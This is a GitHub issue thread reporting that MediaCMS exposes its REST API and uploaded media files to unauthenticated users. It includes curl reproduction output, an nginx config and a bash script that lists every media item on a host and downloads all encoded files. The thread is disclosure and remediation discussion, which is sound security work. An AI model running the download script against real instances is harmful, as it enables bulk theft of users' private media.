mediacms-io / mediacms

MediaCMS is a modern, fully featured open source video and media CMS, written in Python/Django and React, featuring a REST API.
https://mediacms.io
GNU Affero General Public License v3.0
2.74k stars 507 forks source link

Security Weakness - Unprotected API and Exposed Media Files #941

Open PupLukey opened 9 months ago

PupLukey commented 9 months ago

In case that this behavior is actually intended by the devs, this issue becomes a feature request.

Description

In violation with the major benefit that this application claims to provide, control over your data, there are two entities being exposed:

  1. Original and encoded media files are directly accessable from the web being served by the integrated nginx without any authorization taking place.
  2. The REST API is publicly accessable without any authorization on many (maybe all?) endpoints. Which allows the enumeration of media file urls even easier and ultimately results in all your data being stolen by some filthy guy like me.

The visibilty state private of a media object which can be set after uploading or by a default setting in the settings.py does only prevent the enumeration of urls (answer). And is also undesirable since you would probably want to share it with registered users. \ It does however not prevent anyone from downloading the files.

This will be the case no matter if GLOBAL_LOGIN_REQUIRED is true or false. \ Also overriding the LOGIN_REQUIRED_IGNORE_PATHS as opposed to #418 doesn't seem to deny access for anonymous users. @masavini mentioned in the aforementioned issue that the api uses a different authentication system. I would be glad if anyone could elaborate on this.

It seems that the backend is intended to let the nginx webserver do the heavy lifting of transferring media files to keep resources free for new requests. That is probably why the default site configuration of the nginx points urls beginning with /media and media/original to directories on the filesystem.

default config excerpt ``` location /media/original { alias /home/mediacms.io/mediacms/media_files/original; } location /media { alias /home/mediacms.io/mediacms/media_files ; add_header 'Access-Control-Allow-Origin' '*'; add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS'; add_header 'Access-Control-Allow-Headers' 'DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range'; add_header 'Access-Control-Expose-Headers' 'Content-Length,Content-Range'; } ```

While this seems to be a known practise I recommend implementing some form of authorization to at least protect files from anonymous users but better to perform actual checks if this specific user is allowed to access the requested media. \ (This is also feature I am missing: Grant permission to watch a private video on a user+video basis.) \

One possibility mentioned by other online sources like the nginx documentation would be to use the X-Accel headers more commonly known as X-Sendfile feature. \ Then the resource request of the media file would need to be run against the REST API and the api returns a status code of either 200 or 403 to indicate if permission is granted and append the X-Accel-Redirect header with the media file path to the response. The API does not need to return the file itself (empty body). Nginx (or any other supporting webserver) intercepts responses with this header and either returns the file or an http error code depending on the status of the original response given by the REST API.

I think my proposal is quite reasonable since this application relies on nginx anyways and it would need only medium size changes to be useful for private use. \ I suppose changes may include:

To Reproduce

Steps to reproduce the issue:

  1. Setup a docker install (any should work)
  2. Set GLOBAL_LOGIN_REQUIRED to true and restart
  3. Send GET request with curl to /api/v1/media or /api/v1/media/{id}
  4. Information should be returned
  5. Use information returned or find the file path on your filesystem to access the media in your browser.

Expected behavior

A non logged in user should not be able to get information from the api or access media files from the webserver if the GLOBAL_LOGIN_REQUIRED flag is true.

Screenshots

No Screenshots provided

Environment / Setup

Additional context

curl /api/v1/media no auth ``` curl -v -X GET https:///api/v1/media Note: Unnecessary use of -X or --request, GET is already inferred. * Trying :443... * Connected to () port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.0 (OUT), TLS header, Certificate Status (22): * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.2 (IN), TLS header, Certificate Status (22): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS header, Finished (20): * TLSv1.2 (IN), TLS header, Supplemental data (23): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.2 (IN), TLS header, Supplemental data (23): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS header, Supplemental data (23): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.2 (IN), TLS header, Supplemental data (23): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.2 (OUT), TLS header, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS header, Supplemental data (23): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 * ALPN, server accepted to use h2 * Server certificate: * subject: CN= * start date: Dec 16 16:01:19 2023 GMT * expire date: Mar 15 16:01:18 2024 GMT * subjectAltName: host "" matched cert's "" * issuer: C=US; O=Let's Encrypt; CN=R3 * SSL certificate verify ok. * Using HTTP2, server supports multiplexing * Connection state changed (HTTP/2 confirmed) * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 * TLSv1.2 (OUT), TLS header, Supplemental data (23): * TLSv1.2 (OUT), TLS header, Supplemental data (23): * TLSv1.2 (OUT), TLS header, Supplemental data (23): * Using Stream ID: 1 (easy handle 0x563c3b9fce90) * TLSv1.2 (OUT), TLS header, Supplemental data (23): > GET /api/v1/media HTTP/2 > Host: > user-agent: curl/7.81.0 > accept: */* > * TLSv1.2 (IN), TLS header, Supplemental data (23): * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * TLSv1.2 (IN), TLS header, Supplemental data (23): * Connection state changed (MAX_CONCURRENT_STREAMS == 250)! * TLSv1.2 (OUT), TLS header, Supplemental data (23): * TLSv1.2 (IN), TLS header, Supplemental data (23): * TLSv1.2 (IN), TLS header, Supplemental data (23): * TLSv1.2 (IN), TLS header, Supplemental data (23): < HTTP/2 200 < access-control-allow-headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range < access-control-allow-methods: GET, POST, OPTIONS < access-control-allow-origin: * < access-control-expose-headers: Content-Length,Content-Range < allow: GET, POST, HEAD, OPTIONS < content-type: application/json < cross-origin-opener-policy: same-origin < date: Mon, 18 Dec 2023 13:40:30 GMT < referrer-policy: same-origin < server: nginx/1.22.1 < vary: Accept, Cookie < x-content-type-options: nosniff < x-frame-options: ALLOWALL < * TLSv1.2 (IN), TLS header, Supplemental data (23): * TLSv1.2 (IN), TLS header, Supplemental data (23): * Connection #0 to host left intact { "count": 1, "next": null, "previous": null, "results": [ { "friendly_token": "", "url": "https:///view?m=", "api_url": "https:///api/v1/media/", "user": "lukey", "title": ".mp4", "description": "", "add_date": "2023-12-17T23:22:21+01:00", "views": 5, "media_type": "video", "state": "public", "duration": 45, "thumbnail_url": "https:///media/original/thumbnails/user/lukey/..mp4_EzNxvnL.jpg", "is_reviewed": true, "preview_url": "/media/encoded/1/lukey/..gif", "author_name": "PupLukey", "author_profile": "https:///user/lukey/", "author_thumbnail": "https:///media/userlogos/2023/12/16/avatar.512.jpg", "encoding_status": "success", "likes": 1, "dislikes": 0, "reported_times": 0, "featured": false, "user_featured": false, "size": "181.7MB" } ] } ```

Final Words

I like your efforts to provide the world with software fundamental to the web. \ I would like to continue using your software if this issue was addressed. \ I have not spent nearly enough time in this repo to see every context or understand it entirely. It may be that I made assumptions on how things are intended or how they could be implemented which are just wrong. Feel free to correct me or clarify things to help improve this software.

tobocop2 commented 9 months ago

@PupLukey lack of protection around static assets is a concern and I agree.

However, can you document and prove specifically the following:

Which allows the enumeration of media file urls even easier and ultimately results in all your data being stolen by some filthy guy like me.

Without logging into the user's account, there is no way to enumerate media urls, especially if they are marked private. You will see the following when making a request to the /media?author= endpoint:

{
  "count": 0,
  "next": null,
  "previous": null,
  "results": []
}
PupLukey commented 9 months ago

Thanks for your reply and support on this topic, @tobocop2

I assume we both mean user provided assets like the actual video or other media files when you say "static assets"?

It is true and well known to me that you cannot query information about media with a state of private. The query returns something like

{ detail: "This media is private." }

And it is also true that media with such state aren't listed when trying to obtain a list of media. Nevertheless the actual files of this private media are still unprotected even though you cannot enummerate them directly from the api. A more sophisticated guy than me may come up with an effective way to find those files just from the web. (Not even sure if web directory listing is deactivated in the nginx configuration)

Furthermore there is no point with this application to mark something as private since there is no such feature to share private media with selected users. \ My (and probably common) use case is a private media sharing platform to share media with a closed set of people known to me. This is supposed to be achieved by setting LOGIN_REQUIRED_GLOBALLY to true in local_settings.py.

Conclusion: It doesn't matter that private media info isn't queryable.


However, can you document and prove specifically the following:

Which allows the enumeration of media file urls even easier and ultimately results in all your data being stolen by some filthy guy like me.

Sure, here are my queries. Curl doesn't do anything if not told so. This means that there can be no authentication happening on the server side since no such information is provided. For the sake of brevity I will ommit the verbose flag. You can look up an example with verbose information in my original post.

The general approach is to get a list of api urls to every media and then using that list to get the specific file url to the encoded media file.

Additionally I have written a little bash script for you that utilizes this approach to download every file.

Download Script ```bash #!/bin/bash host=$1; declare -a apiUrls declare -a mediaUrls response=$(curl --silent -X GET "https://${host}/api/v1/media" | jq -r '.results[] | .api_url'); printf "api urls:\n"; for url in $response; do echo "${url}"; apiUrls=("${apiUrls[@]}" $url); done; printf "\nmedia urls:\n"; for uri in "${apiUrls[@]}"; do mediaUrl=$(curl --silent -X GET "${uri}" | jq -r '.encodings_info[] | .[] | .url?'); mediaUrls=("${mediaUrls[@]}" $mediaUrl); echo "${mediaUrl}"; done; printf "\ncreating directory\n"; mkdir -p mediacms_downloads; for url in "${mediaUrls[@]}"; do IFS='/' read -ra nameComponents <<< "${url}"; name=${nameComponents[-1]}; encProfileId=${nameComponents[3]}; printf "downloading ${name} from ${host}\n"; curl --output "./mediacms_downloads/encProfile${encProfileId}_${name}" -X GET "https://${host}${url}"; done; ```

Queries

Query a list of all media on the entire instance

This returns a list of meta informations for every video/media. \ This meta informations contains a json key api_url which can be used in a second query to obtain the url to the target.

query ``` curl --silent -X GET https:///api/v1/media | jq . { "count": 1, "next": null, "previous": null, "results": [ { "friendly_token": "", "url": "https:///view?m=", "api_url": "https:///api/v1/media/", "user": "lukey", "title": "", "description": "", "add_date": "2023-12-17T23:22:21+01:00", "views": 5, "media_type": "video", "state": "public", "duration": 45, "thumbnail_url": "https:///media/original/thumbnails/user/lukey/.jpg", "is_reviewed": true, "preview_url": "/media/encoded/1/lukey/.gif", "author_name": "PupLukey", "author_profile": "https:///user/lukey/", "author_thumbnail": "https:///media/userlogos/2023/12/16/avatar.512.jpg", "encoding_status": "success", "likes": 1, "dislikes": 0, "reported_times": 0, "featured": false, "user_featured": false, "size": "181.7MB" } ] } ```

Query a list for media of a specific author

query ``` curl --silent -X GET https:///api/v1/media?author=lukey | jq . { "count": 1, "next": null, "previous": null, "results": [ { "friendly_token": "", "url": "https:///view?m=", "api_url": "https:///api/v1/media/", "user": "lukey", "title": "", "description": "", "add_date": "2023-12-17T23:22:21+01:00", "views": 5, "media_type": "video", "state": "public", "duration": 45, "thumbnail_url": "https:///media/original/thumbnails/user/lukey/.jpg", "is_reviewed": true, "preview_url": "/media/encoded/1/lukey/.gif", "author_name": "PupLukey", "author_profile": "https:///user/lukey/", "author_thumbnail": "https:///media/userlogos/2023/12/16/avatar.512.jpg", "encoding_status": "success", "likes": 1, "dislikes": 0, "reported_times": 0, "featured": false, "user_featured": false, "size": "181.7MB" } ] } ```

Query private media

query **Without auth**: ``` curl --silent -X GET https:///api/v1/media/ {"detail":"media is private"} ``` **With basic auth**: ``` curl --silent --basic --user lukey: -X GET https:///api/v1/media/ | jq . { "url": "https:///view?m=", "user": "lukey", "title": "", "description": "", "add_date": "2023-12-17T00:26:00+01:00", "edit_date": "2023-12-17T03:23:56.335469+01:00", "media_type": "video", "state": "private", "duration": 54, "thumbnail_url": "/media/original/thumbnails/user/lukey/.jpg", "poster_url": "/media/original/thumbnails/user/lukey/.jpg", "thumbnail_time": 44.4, "sprites_url": "/media/original/thumbnails/user/lukey/.jpg", "preview_url": "/media/encoded/1/lukey/.gif", "author_name": "PupLukey", "author_profile": "/user/lukey/", "author_thumbnail": "/media/userlogos/2023/12/16/avatar.512.jpg", "encodings_info": { "2160": {}, "1440": {}, "1080": { "h264": { "title": "h264-1080", "url": "/media/encoded/7/lukey/.mp4", "progress": 100, "size": "26.0MB", "encoding_id": 40, "status": "success" } }, "720": { "h264": { "title": "h264-720", "url": "/media/encoded/10/lukey/.mp4", "progress": 100, "size": "10.8MB", "encoding_id": 33, "status": "success" } }, "480": {}, "360": {}, "240": {} }, "encoding_status": "success", "views": 12, "likes": 2, "dislikes": 0, "reported_times": 0, "user_featured": false, "original_media_url": "/media/original/user/lukey/.mp4", "size": "324.9MB", "video_height": 2160, "enable_comments": true, "categories_info": [], "is_reviewed": true, "edit_url": "/edit?m=", "tags_info": [ { "title": "gay", "url": "/search?t=gay" }, { "title": "porn", "url": "/search?t=porn" } ], "hls_info": {}, "license": null, "subtitles_info": [], "ratings_info": [], "add_subtitle_url": "/add_subtitle?m=", "allow_download": false, "related_media": [] } ```
tobocop2 commented 9 months ago

@PupLukey thanks, this makes sense. I just would suggest updating the title / description to factor in the fact that private media associated to a different author is not enumerable. This would be an even more massive security flaw so I just wanted to ensure that other folks are aware of the distinction.

I've been experimenting with the following strategies personally:

PupLukey commented 9 months ago

To be frank here, I don't exactly like your suggestions about what one can do to secure access since they all rely on external systems being integrated with the mediacms system for a functionality so essential that it should be implemented by the app itself. \ Furthermore securing this application with a VPN would undermine a key reason to use the software. I think MediaCMS is about easily sharing Media with others. Requiring normal people without technical knowledge to use a VPN Client sounds counter productive to me. If I was in need of an application to upload files and access them anywhere I would have stayed with any cloud solution.

I would really like to see that MediaCMS overhaul it's authentication and authorization in a way that allows more options for privacy. That includes the basic functionality as opt-in to put media files and the api for meta information about these media files/objects behind authorization but may also include:

And actually I have already suggested a solution in my first post which integrates well with the current way of providing files and doesn't require huge changes. Using different urls now might be a little annoying. I would do it myself and open a PR but I really dislike Python and can't develop with it.

If there is something missing with my proposal I will be glad to discuss that. :)

I suggest adding the bug or enhancement label to clarify that this issue is not about requesting help to setup MediaCMS. Would be great to hear some feedback from the guys who need to approve changes. :)

PupLukey commented 9 months ago

Just now I have seen that #905 relates to this issue. \ But as I explained above it's not only the search bar or a frontend thing. The whole problem here is bigger.

flinthamm commented 6 months ago

This is not meant to be a complaint. Great work and love the concept and project, together with clearly your hard work. I thought it was most relevant, best to comment here, rather than add a new topic but I've just found more exposure that I didn't expect. When not logged in and with the configuration setup for private access, any tagged media becomes listed (thumbnails) and available from the "Tags" side menu, the same with "Categories" and "Members" are all listed in full?

On a side note, it would be really great is your could reset the "Views" count or perhaps not increment this number when logged in as an admin and setting things up.

I really hope an update fixes this at some point otherwise, very regrettably this won't be useful.